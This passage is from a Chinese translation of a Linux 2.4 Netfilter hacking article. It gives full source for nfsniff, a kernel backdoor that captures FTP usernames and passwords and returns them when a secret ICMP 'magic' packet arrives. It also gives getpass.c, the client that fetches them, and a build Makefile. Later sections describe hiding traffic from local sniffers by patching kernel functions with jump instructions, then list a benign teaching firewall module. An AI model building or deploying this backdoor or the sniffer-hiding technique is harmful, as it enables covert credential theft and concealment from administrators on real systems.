#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

#define ICMP_PAYLOAD_SIZE  (htons(sb->nh.iph->tot_len) \
                   - sizeof(struct iphdr) \
                   - sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
* they are queried. Only one USER/PASS pair will be held at one
* time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = 0;     /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
* same IP address and TCP port. */
static unsigned int target_ip = 0;
static unsigned short target_port = 0;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;           /* Incoming */
struct nf_hook_ops  post_hook;           /* Outgoing */


/* Function that looks at an sk_buff that is known to be an FTP packet.
* Looks for the USER and PASS fields and makes sure they both come from
* the one host as indicated in the target_xxx fields */
static void check_ftp(struct sk_buff *skb)
{
   struct tcphdr *tcp;
   char *data;
   int len = 0;
   int i = 0;
  
   tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
   data = (char *)((int)tcp + (int)(tcp->doff * 4));

   /* Now, if we have a username already, then we have a target_ip.
    * Make sure that this packet is destined for the same host. */
   if (username)
     if (skb->nh.iph->daddr != target_ip || tcp->source != target_port)
       return;
  
   /* Now try to see if this is a USER or PASS packet */
   if (strncmp(data, "USER ", 5) == 0) {          /* Username */
      data += 5;
      
      if (username)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }
      
      if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(username, 0x00, len + 2);
      memcpy(username, data, len);
      *(username + len) = '\0';           /* NULL terminate */
   } else if (strncmp(data, "PASS ", 5) == 0) {   /* Password */
      data += 5;

      /* If a username hasn't been logged yet then don't try logging
       * a password */
      if (username == NULL) return;
      if (password)  return;
      
      while (*(data + i) != '\r' && *(data + i) != '\n'
         && *(data + i) != '\0' && i < 15) {
     len++;
     i++;
      }

      if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
    return;
      memset(password, 0x00, len + 2);
      memcpy(password, data, len);
      *(password + len) = '\0';           /* NULL terminate */
   } else if (strncmp(data, "QUIT", 4) == 0) {
      /* Quit command received. If we have a username but no password,
       * clear the username and reset everything */
      if (have_pair)  return;
      if (username && !password) {
     kfree(username);
     username = NULL;
     target_port = target_ip = 0;
     have_pair = 0;
    
     return;
      }
   } else {
      return;
   }

   if (!target_ip)
     target_ip = skb->nh.iph->daddr;
   if (!target_port)
     target_port = tcp->source;

   if (username && password)
     have_pair++;               /* Have a pair. Ignore others until
                    * this pair has been read. */
//   if (have_pair)
//     printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
* FTP traffic then search that traffic for USER and PASS commands. */
static unsigned int watch_out(unsigned int hooknum,
                  struct sk_buff **skb,
                  const struct net_device *in,
                  const struct net_device *out,
                  int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct tcphdr *tcp;
  
   /* Make sure this is a TCP packet first */
   if (sb->nh.iph->protocol != IPPROTO_TCP)
     return NF_ACCEPT;               /* Nope, not TCP */
  
   tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
  
   /* Now check to see if it's an FTP packet */
   if (tcp->dest != htons(21))
     return NF_ACCEPT;               /* Nope, not FTP */
  
   /* Parse the FTP packet for relevant information if we don't already
    * have a username and password pair. */
   if (!have_pair)
     check_ftp(sb);
  
   /* We are finished with the packet, let it go on its way */
   return NF_ACCEPT;
}


/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
* When that is received, we tweak the skb structure to send a reply
* back to the requesting host and tell Netfilter that we stole the
* packet. */
static unsigned int watch_in(unsigned int hooknum,
                 struct sk_buff **skb,
                 const struct net_device *in,
                 const struct net_device *out,
                 int (*okfn)(struct sk_buff *))
{
   struct sk_buff *sb = *skb;
   struct icmphdr *icmp;
   char *cp_data;               /* Where we copy data to in reply */
   unsigned int   taddr;           /* Temporary IP holder */

   /* Do we even have a username/password pair to report yet? */
   if (!have_pair)
     return NF_ACCEPT;
    
   /* Is this an ICMP packet? */
   if (sb->nh.iph->protocol != IPPROTO_ICMP)
     return NF_ACCEPT;
  
   icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4);

   /* Is it the MAGIC packet? */
   if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
     || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
      return NF_ACCEPT;
   }
  
   /* Okay, matches our checks for "Magicness", now we fiddle with
    * the sk_buff to insert the IP address, and username/password pair,
    * swap IP source and destination addresses and ethernet addresses
    * if necessary and then transmit the packet from here and tell
    * Netfilter we stole it. Phew... */
   taddr = sb->nh.iph->saddr;
   sb->nh.iph->saddr = sb->nh.iph->daddr;
   sb->nh.iph->daddr = taddr;

   sb->pkt_type = PACKET_OUTGOING;

   switch (sb->dev->type) {
    case ARPHRD_PPP:               /* No fiddling needs doing */
      break;
    case ARPHRD_LOOPBACK:
    case ARPHRD_ETHER:
    {
       unsigned char t_hwaddr[ETH_ALEN];
      
       /* Move the data pointer to point to the link layer header */
       sb->data = (unsigned char *)sb->mac.ethernet;
       sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
       memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN);
       memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source),
          ETH_ALEN);
       memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
  
       break;
    }
   };

   /* Now copy the IP address, then Username, then password into packet */
   cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
   memcpy(cp_data, &target_ip, 4);
   if (username)
     memcpy(cp_data + 4, username, 16);
   if (password)
     memcpy(cp_data + 20, password, 16);
  
   /* This is where things will die if they are going to.
    * Fingers crossed... */
   dev_queue_xmit(sb);

   /* Now free the saved username and password and reset have_pair */
   kfree(username);
   kfree(password);
   username = password = NULL;
   have_pair = 0;
  
   target_port = target_ip = 0;

//   printk("Password retrieved\n");
  
   return NF_STOLEN;
}

int init_module()
{
   pre_hook.hook     = watch_in;
   pre_hook.pf       = PF_INET;
   pre_hook.priority = NF_IP_PRI_FIRST;
   pre_hook.hooknum  = NF_IP_PRE_ROUTING;
  
   post_hook.hook     = watch_out;
   post_hook.pf       = PF_INET;
   post_hook.priority = NF_IP_PRI_FIRST;
   post_hook.hooknum  = NF_IP_POST_ROUTING;
  
   nf_register_hook(&pre_hook);
   nf_register_hook(&post_hook);
  
   return 0;
}

void cleanup_module()
{
   nf_unregister_hook(&post_hook);
   nf_unregister_hook(&pre_hook);
  
   if (password)
     kfree(password);
   if (username)
     kfree(username);
}
<-->

------[ 5.2.2 - 源代碼 : getpass.c

<++> nfsniff/getpass.c
/* getpass.c - simple utility to get username/password pair from
* the Netfilter backdoor FTP sniffer. Very kludgy, but effective.
* Mostly stripped from my source for InfoPig.
*
* Written by bioforge  -  March 2003 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD               /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[256];           /* Plenty for a PING datagram */
    unsigned char recvbuff[256];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = 0;
    int one = 1;
    int *ptr_one = &one;
    
    if (argc < 3) {
    fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[0]);
    exit(1);
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) {
    fprintf(stderr, "Couldn't open raw socket! %s\n",
        strerror(errno));
    exit(1);
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
          ptr_one, sizeof(one)) < 0) {
    close(icmp_sock);
    fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
            strerror(errno));
    exit(1);
    }
    
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[1]);
    
    my_addr.s_addr = inet_addr(argv[2]);
    
    memset(dgram, 0x00, 256);
    memset(recvbuff, 0x00, 256);
    
    /* Fill in the IP fields first */
    iphead->ip_hl  = 5;
    iphead->ip_v   = 4;
    iphead->ip_tos = 0;
    iphead->ip_len = 84;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = 0;
    iphead->ip_ttl = 128;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = 0;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;
    
    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
    
    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr,
           sizeof(struct sockaddr)) < 0) {
    fprintf(stderr, "\nFailed sending request! %s\n",
        strerror(errno));
    return 0;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src,
         &src_addr_size) < 0) {
    fprintf(stdout, "Failed getting reply packet! %s\n",
        strerror(errno));
    close(icmp_sock);
    exit(1);
    }
    
    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + 8),
           sizeof (struct in_addr));
    
    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
         (char *)((char *)icmphead + 12));
    fprintf(stdout, "Password:    %s\n",
         (char *)((char *)icmphead + 28));
    
    close(icmp_sock);
    
    return 0;
}

/* Checksum-generation function. It appears that PING'ed machines don't
* reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
* Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
   unsigned long sum;
  
   for(sum = 0;numwords > 0;numwords--)
     sum += *buff++;   /* add next word, then increment pointer */
  
   sum = (sum >> 16) + (sum & 0xFFFF);
   sum += (sum >> 16);
  
   return ~sum;
}
<-->

    ** 譯註:上述兩個文件的Makefile:

<++> nfsniff/Makefile
#Makefile                                              
#                                                      
                                                      
CFLAGS=-Wall                                          
LIBS=-L/usr/lib -lc
# Change include directory for your kernel                                  
MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include
MODULE_CFLAGS+=$(CFLAGS)                              
EXECUTE_CFLAGS=-ggdb                                  
EXECUTE_CFLAGS+=$(CFLAGS)                              
                                                      
all : nfsniff.o getpass                                
nfsniff.o : nfsniff.c                                  
        gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS)
        ld -r -o nfsniff.o nfsniff~.o $(LIBS)          
getpass.o : getpass.c                                  
        gcc -c getpass.c $(EXECUTE_CFLAGS)            
getpass : getpass.o                                    
        gcc -o getpass getpass.o $(EXECUTE_CFLAGS)    
clean :                                                
        rm -f *.o getpass                              
<-->

    **譯註完
    

--[ 6 - 在Libpcap中隱藏網絡通訊

    這一節簡短的描述,如何在修改Linux的內核,使與匹配預先定義的條件的網絡通訊對運行於本機的數據包嗅探工具不可見。列在本文最後的是能夠正常運行的代碼,它實現了隱藏全部來自或者是去往指定的IP地址的數據包的功能。好了,讓咱們開始...
    
----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap

    對系統管理員來講,最有用的軟件莫過於哪些在廣義分類下被稱爲「數據包嗅探器」的軟件了。兩個最典型的通用數據包嗅探器是tcpdump(1)以 及ethereal(1)。這兩個軟件都利用了Libpcap庫(隨着參考文獻[1]中的tcpdump發佈)來抓取原始數據包。網絡入侵檢測系統 (NIDS)也利用了Libpcap庫。SNORT須要Libpcap,Libnids——一個提供IP重組和TCP流跟蹤的NIDS開發庫(參見參考文 獻[2]),也是如此。
    
    在Linux系統下,Libpcap庫使用SOCK_PACKET接口。Packet套接字是一種特殊的套接字,它能夠用於發生和接收鏈路層的原 始數據包。關於Paket套接字有不少話題,可是因爲本節討論的是關於如何隱藏它們而不是如何利用它們,感興趣的讀者能夠直接去看packet(7)手冊 頁。對於本文中的討論,只須要理解packet套接字被Libpcap應用程序用於獲取進入或者離開本地主機的原始數據包。
    
    當核心網絡堆棧收到一個數據包的時候,檢查該數據包是不是某個packet套接字感興趣的數據包。若是是,則將該數據遞交給那些對其感興趣的套接 字。若是不是,該數據包繼續它的旅程,進入TCP、UDP或者其它類型的套接字。對於SOCK_RAW類型的套接字一樣如此。原始套接字很相似於 packet套接字,只是原始套接字不提供鏈路層的包頭。一個利用原始套接字的實用程序的例子是個人SYNalert程序,參見參考文獻[3](請原諒我 在這兒插入的題外話 :)。
    
    到此,你應該已經瞭解了Linux下的數據包嗅探軟件使用了Libpcap庫。Libpcap在Linux下利用packet套接字接口來獲取包 含鏈路層包頭的原始數據包。同時提到了原始套接字,它提供給用戶空間的應用程序獲取包含IP頭的數據包的方法。下一節將討論如何經過Linux核心模塊來 隱藏來自這些packet套接字以及原始套接字的網絡通訊。
    
    
------[ 6.2 給狼披上羊皮

    當收到數據包並將其送到一個packet套接字時,packet_rcv()函數被調用。這個函數能夠在net/packet /af_packet.c中找到,packet_rcv()負責使數據包通過全部應用於目的套接字的套接字過濾器,並最終將其遞交到用戶空間。爲了隱藏來 自packet套接字的數據包,咱們須要阻止全部特定數據包調用packet_rcv()函數。咱們如何作到這一點?固然是優秀的ol式的函數劫持了。
    
    函數劫持的基本操做是:若是咱們知道一個內核函數,甚至是那些沒有被導出的函數,的入口地址,咱們能夠在使實際的代碼運行前將這個函數重定位到其 他的位置。爲了達到這樣的目的,咱們首先要從這個函數的開始,保存其原來的指令字節,而後將它們換成跳轉到咱們的代碼處執行的絕對跳轉指令。例如以 i386彙編語言實現該操做以下:
    
    movl  (address of our function),  %eax
    jmp   *eax

    這些指令的16進制代碼以下(假設咱們的函數地址爲0):
    
    0xb8 0x00 0x00 0x00 0x00
    0xff 0xe0

    若是咱們在Linux核心模塊的初始化時將上例中的函數地址替換爲咱們的hook函數的地址,咱們就可以使咱們的hook函數先運行。當咱們想運 行原來的函數時,咱們只須要在開始時恢復函數原來的指令,調用該函數而且替換咱們的劫持代碼。簡單而有效。Silvio Cesare 不久前寫過一篇文章,講述如何實現內核函數劫持,參見參考文獻[4]。
    
    要從packet套接字隱藏數據包,咱們首先要寫一個hook函數,用於檢查數據包是否知足咱們隱藏的標準。若是知足,那麼咱們的hook函數簡 單的向它的調用函數返回0,packet_rcv()永遠不會被調用。若是packet_rcv()永遠不被調用,那麼這個數據包也永遠都不會遞交給用戶 空間的packet套接字。注意,只是對於"packet"套接字來講,該數據包被丟棄了。若是咱們要過濾送到packet套接字的FTP數據包,那麼 FTP服務器的TCP套接字仍然能收到這些數據包。咱們所作的一切只是使運行在本機上的嗅探軟件沒法看到這些數據包。FTP服務器仍然可以處理和記錄連 接。
    
    理論上就是這麼多,關於原始套接字的用法同理可得。不一樣的是咱們須要hook的是raw_rcv()函數(在net/ipv4/raw.c中能夠 找到)。下一節將給出並討論一個Linux核心模塊的示例代碼,該代碼劫持packet_rcv()函數和raw_rcv()函數,隱藏任何來自或去往我 們指定的IP地址的數據包。
    

--[ 7 - 結束語

    但願你如今至少對Netfilter有了一個初步的瞭解,如何使用它以及你能用它來作什麼。你一樣也應當有了一些使特定的網絡通訊從運行在本機的 嗅探軟件中隱藏的知識了。若是你須要本文中涉及的源代碼的tar包,請直接給我發email。我一樣很樂意接收任何的指正、批評或者建議。好了,把一切都 留給你和你的想象力,來作一些我在這兒展示的有趣的事吧!
    

--[ A - 輕量級防火牆
----[ A.1 - 概述

    輕量級防火牆(LWFW)是一個簡單的內核模塊,用於演示咱們在第4節中涉及的基本的數據包過錄技術。LWFW也經過ioctl()系統調用提供了一個控制接口。
    
    因爲LWFW的源代碼已經有足夠的文檔了,我在這兒只給出它如何工做的簡單概述。當LWFW模塊被加載後,它的第一個任務就是嘗試註冊控制設置。 注意在LWFW的ioctl()控制接口可用以前,須要在/dev下建立一個字符設備文件。若是控制設備註冊成功,"in use"標誌被清除而且對NF_IP_PRE_ROUTE進行hook的函數被註冊。清除函數執行相反的操做。
    
    LWFW對數據包丟棄提供三個基本的選項。按照處理的順序列出以下:
    -- 源接口
    -- 源IP地址
    -- 目的TCP端口
    
    這些規則的設置由ioctl()接口完成。當一個數據包被接收,LWFW按照咱們設定的規則進行檢查。若是匹配了其中的任意一條規則,那麼 hook函數將返回NF_DROP,而後Netfilter將悄無聲息的丟棄這個數據包。不然,hook函數返回NF_ACCEPT,數據包將繼續它的旅 程。
    
    最後,有必要提一下的是LWFW的統計日誌。不管任什麼時候候數據包進入hook函數,LWFW都將收到的數據包的計數累加。單獨的規則檢查函數負責 增長它們各自的丟棄的數據包的計數。注意,當規則的值被改變時,它的丟棄數據包的計數被重置爲0。lwfwstats程序利用 LWFW_GET_STATS這個IOCTL來獲取統計數據結構的一個副本並顯示其內容。
    

----[ A.2 - 源代碼 : lwfw.c

<++> lwfw/lwfw.c
/* Light-weight Fire Wall. Simple firewall utility based on
* Netfilter for 2.4. Designed for educational purposes.
*
* Written by bioforge  -  March 2003.
*/

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/net.h>
#include <linux/types.h>
#include <linux/skbuff.h>
#include <linux/string.h>
#include <linux/malloc.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>

#include <asm/errno.h>
#include <asm/uaccess.h>

#include "lwfw.h"

/* Local function prototypes */
static int set_if_rule(char *name);
static int set_ip_rule(unsigned int ip);
static int set_port_rule(unsigned short port);
static int check_ip_packet(struct sk_buff *skb);
static int check_tcp_packet(struct sk_buff *skb);
static int copy_stats(struct lwfw_stats *statbuff);

/* Some function prototypes to be used by lwfw_fops below. */
static int lwfw_ioctl(struct inode *inode, struct file *file,
              unsigned int cmd, unsigned long arg);
static int lwfw_open(struct inode *inode, struct file *file);
static int lwfw_release(struct inode *inode, struct file *file);


/* Various flags used by the module */
/* This flag makes sure that only one instance of the lwfw device
* can be in use at any one time. */
static int lwfw_ctrl_in_use = 0;

/* This flag marks whether LWFW should actually attempt rule checking.
* If this is zero then LWFW automatically allows all packets. */
static int active = 0;

/* Specifies options for the LWFW module */
static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE
                    | LWFW_IP_DENY_ACTIVE
                    | LWFW_PORT_DENY_ACTIVE);

static int major = 0;               /* Control device major number */

/* This struct will describe our hook procedure. */
struct nf_hook_ops nfkiller;

/* Module statistics structure */
static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};

/* Actual rule 'definitions'. */
/* TODO:  One day LWFW might actually support many simultaneous rules.
* Just as soon as I figure out the list_head mechanism... */
static char *deny_if = NULL;                 /* Interface to deny */
static unsigned int deny_ip = 0x00000000;    /* IP address to deny */
static unsigned short deny_port = 0x0000;   /* TCP port to deny */

/*
* This is the interface device's file_operations structure
*/
struct file_operations  lwfw_fops = {
   NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     NULL,
     lwfw_ioctl,
     NULL,
     lwfw_open,
     NULL,
     lwfw_release,
     NULL                   /* Will be NULL'ed from here... */
};

MODULE_AUTHOR("bioforge");
MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");

/*
* This is the function that will be called by the hook
*/
unsigned int lwfw_hookfn(unsigned int hooknum,
               struct sk_buff **skb,
               const struct net_device *in,
               const struct net_device *out,
               int (*okfn)(struct sk_buff *))
{
   unsigned int ret = NF_ACCEPT;
  
   /* If LWFW is not currently active, immediately return ACCEPT */
   if (!active)
     return NF_ACCEPT;
  
   lwfw_statistics.total_seen++;
  
   /* Check the interface rule first */
   if (deny_if && DENY_IF_ACTIVE) {
      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */
     lwfw_statistics.if_dropped++;
     lwfw_statistics.total_dropped++;
     return NF_DROP;
      }
   }
  
   /* Check the IP address rule */
   if (deny_ip && DENY_IP_ACTIVE) {
      ret = check_ip_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
  
   /* Finally, check the TCP port rule */
   if (deny_port && DENY_PORT_ACTIVE) {
      ret = check_tcp_packet(*skb);
      if (ret != NF_ACCEPT) return ret;
   }
  
   return NF_ACCEPT;               /* We are happy to keep the packet */
}

/* Function to copy the LWFW statistics to a userspace buffer */
static int copy_stats(struct lwfw_stats *statbuff)
{
   NULL_CHECK(statbuff);

   copy_to_user(statbuff, &lwfw_statistics,
        sizeof(struct lwfw_stats));
  
   return 0;
}

/* Function that compares a received TCP packet's destination port
* with the port specified in the Port Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_tcp_packet(struct sk_buff *skb)
{
   /* Seperately defined pointers to header structures are used
    * to access the TCP fields because it seems that the so-called
    * transport header from skb is the same as its network header TCP packets.
    * If you don't believe me then print the addresses of skb->nh.iph
    * and skb->h.th.
    * It would have been nicer if the network header only was IP and
    * the transport header was TCP but what can you do? */
   struct tcphdr *thead;
  
   /* We don't want any NULL pointers in the chain to the TCP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;

   /* Be sure this is a TCP packet first */
   if (skb->nh.iph->protocol != IPPROTO_TCP) {
      return NF_ACCEPT;
   }

   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));
  
   /* Now check the destination port */
   if ((thead->dest) == deny_port) {
      /* Update statistics */
      lwfw_statistics.total_dropped++;
      lwfw_statistics.tcp_dropped++;
      
      return NF_DROP;
   }
  
   return NF_ACCEPT;
}

/* Function that compares a received IPv4 packet's source address
* with the address specified in the IP Deny Rule. If a processing
* error occurs, NF_ACCEPT will be returned so that the packet is
* not lost. */
static int check_ip_packet(struct sk_buff *skb)
{
   /* We don't want any NULL pointers in the chain to the IP header. */
   if (!skb ) return NF_ACCEPT;
   if (!(skb->nh.iph)) return NF_ACCEPT;
  
   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */
      lwfw_statistics.ip_dropped++;    /* Update the statistics */
      lwfw_statistics.total_dropped++;
      
      return NF_DROP;
   }
  
   return NF_ACCEPT;
}

static int set_if_rule(char *name)
{
   int ret = 0;
   char *if_dup;               /* Duplicate interface */
  
   /* Make sure the name is non-null */
   NULL_CHECK(name);
  
   /* Free any previously saved interface name */
   if (deny_if) {
      kfree(deny_if);
      deny_if = NULL;
   }
  
   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))
        == NULL) {
      ret = -ENOMEM;
   } else {
      memset(if_dup, 0x00, strlen((char *)name) + 1);
      memcpy(if_dup, (char *)name, strlen((char *)name));
   }

   deny_if = if_dup;
   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */
   printk("LWFW: Set to deny from interface: %s\n", deny_if);
  
   return ret;
}

static int set_ip_rule(unsigned int ip)
{
   deny_ip = ip;
   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */
  
   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d\n",
      ip & 0x000000FF, (ip & 0x0000FF00) >> 8,
      (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);
  
   return 0;
}

static int set_port_rule(unsigned short port)
{
   deny_port = port;
   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */
  
   printk("LWFW: Set to deny for TCP port: %d\n",
      ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));
      
   return 0;
}

/*********************************************/
/*
* File operations functions for control device
*/
static int lwfw_ioctl(struct inode *inode, struct file *file,
              unsigned int cmd, unsigned long arg)
{
   int ret = 0;
  
   switch (cmd) {
    case LWFW_GET_VERS:
      return LWFW_VERS;
    case LWFW_ACTIVATE: {
       active = 1;
       printk("LWFW: Activated.\n");
       if (!deny_if && !deny_ip && !deny_port) {
      printk("LWFW: No deny options set.\n");
       }
       break;
    }
    case LWFW_DEACTIVATE: {
       active ^= active;
       printk("LWFW: Deactivated.\n");
       break;
    }
    case LWFW_GET_STATS: {
       ret = copy_stats((struct lwfw_stats *)arg);
       break;
    }
    case LWFW_DENY_IF: {
       ret = set_if_rule((char *)arg);
       break;
    }
    case LWFW_DENY_IP: {
       ret = set_ip_rule((unsigned int)arg);
       break;
    }
    case LWFW_DENY_PORT: {
       ret = set_port_rule((unsigned short)arg);
       break;
    }
    default:
      ret = -EBADRQC;
   };
  
   return ret;
}

/* Called whenever open() is called on the device file */
static int lwfw_open(struct inode *inode, struct file *file)
{
   if (lwfw_ctrl_in_use) {
      return -EBUSY;
   } else {
      MOD_INC_USE_COUNT;
      lwfw_ctrl_in_use++;
      return 0;
   }
   return 0;
}

/* Called whenever close() is called on the device file */
static int lwfw_release(struct inode *inode, struct file *file)
{
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;
   MOD_DEC_USE_COUNT;
   return 0;
}

/*********************************************/
/*
* Module initialisation and cleanup follow...
*/
int init_module()
{
   /* Register the control device, /dev/lwfw */
      SET_MODULE_OWNER(&lwfw_fops);
  
   /* Attempt to register the LWFW control device */
   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,
                &lwfw_fops)) < 0) {
      printk("LWFW: Failed registering control device!\n");
      printk("LWFW: Module installation aborted.\n");
      return major;
   }
  
   /* Make sure the usage marker for the control device is cleared */
   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

   printk("\nLWFW: Control device successfully registered.\n");
  
   /* Now register the network hooks */
   nfkiller.hook = lwfw_hookfn;
   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */
   nfkiller.pf = PF_INET;               /* IPV4 protocol hook */
   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */
  
   /* And register... */
   nf_register_hook(&nfkiller);
  
   printk("LWFW: Network hooks successfully installed.\n");
  
   printk("LWFW: Module installation successful.\n");
   return 0;
}

void cleanup_module()
{
   int ret;
  
   /* Remove IPV4 hook */
   nf_unregister_hook(&nfkiller);

   /* Now unregister control device */
   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {
      printk("LWFW: Removal of module failed!\n");
   }

   /* If anything was allocated for the deny rules, free it here */
   if (deny_if)
     kfree(deny_if);
  
   printk("LWFW: Removal of module successful.\n");
}
<-->


----[ A.3 - 頭文件 : lwfw.h

<++> lwfw/lwfw.h
/* Include file for the Light-weight Fire Wall LKM.
*
* A very simple Netfilter module that drops backets based on either
* their incoming interface or source IP address.
*
* Written by bioforge  -  March 2003
*/

#ifndef __LWFW_INCLUDE__
# define __LWFW_INCLUDE__

/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.
* Userspace code has no business knowing about it. */
# define LWFW_NAME        "lwfw"

/* Version of LWFW */
# define LWFW_VERS        0x0001       /* 0.1 */

/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will
* print anything with printk(). This is included for debugging purposes.
*/
#define LWFW_TALKATIVE

/* These are the IOCTL codes used for the control device */
#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */
#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */
#define LWFW_ACTIVATE   0xFEED0002
#define LWFW_DEACTIVATE 0xFEED0003
#define LWFW_GET_STATS  0xFEED0004
#define LWFW_DENY_IF    0xFEED0005
#define LWFW_DENY_IP    0xFEED0006
#define LWFW_DENY_PORT  0xFEED0007

/* Control flags/Options */
#define LWFW_IF_DENY_ACTIVE   0x00000001
#define LWFW_IP_DENY_ACTIVE   0x00000002
#define LWFW_PORT_DENY_ACTIVE 0x00000004

/* Statistics structure for LWFW.
* Note that whenever a rule's condition is changed the related
* xxx_dropped field is reset.
*/
struct lwfw_stats {
   unsigned int if_dropped;           /* Packets dropped by interface rule */
   unsigned int ip_dropped;           /* Packets dropped by IP addr. rule */
   unsigned int tcp_dropped;           /* Packets dropped by TCP port rule */
   unsigned long total_dropped;   /* Total packets dropped */
   unsigned long total_seen;      /* Total packets seen by filter */
};

/*
* From here on is used solely for the actual kernel module
*/
#ifdef __KERNEL__
# define LWFW_MAJOR       241   /* This exists in the experimental range */

/* This macro is used to prevent dereferencing of NULL pointers. If
* a pointer argument is NULL, this will return -EINVAL */
#define NULL_CHECK(ptr)    \
   if ((ptr) == NULL)  return -EINVAL

/* Macros for accessing options */
#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)
#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)
#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)

#endif                       /* __KERNEL__ */
#endif
<-->

<++> lwfw/Makefile
CC= egcs
CFLAGS= -Wall -O2
OBJS= lwfw.o

.c.o:
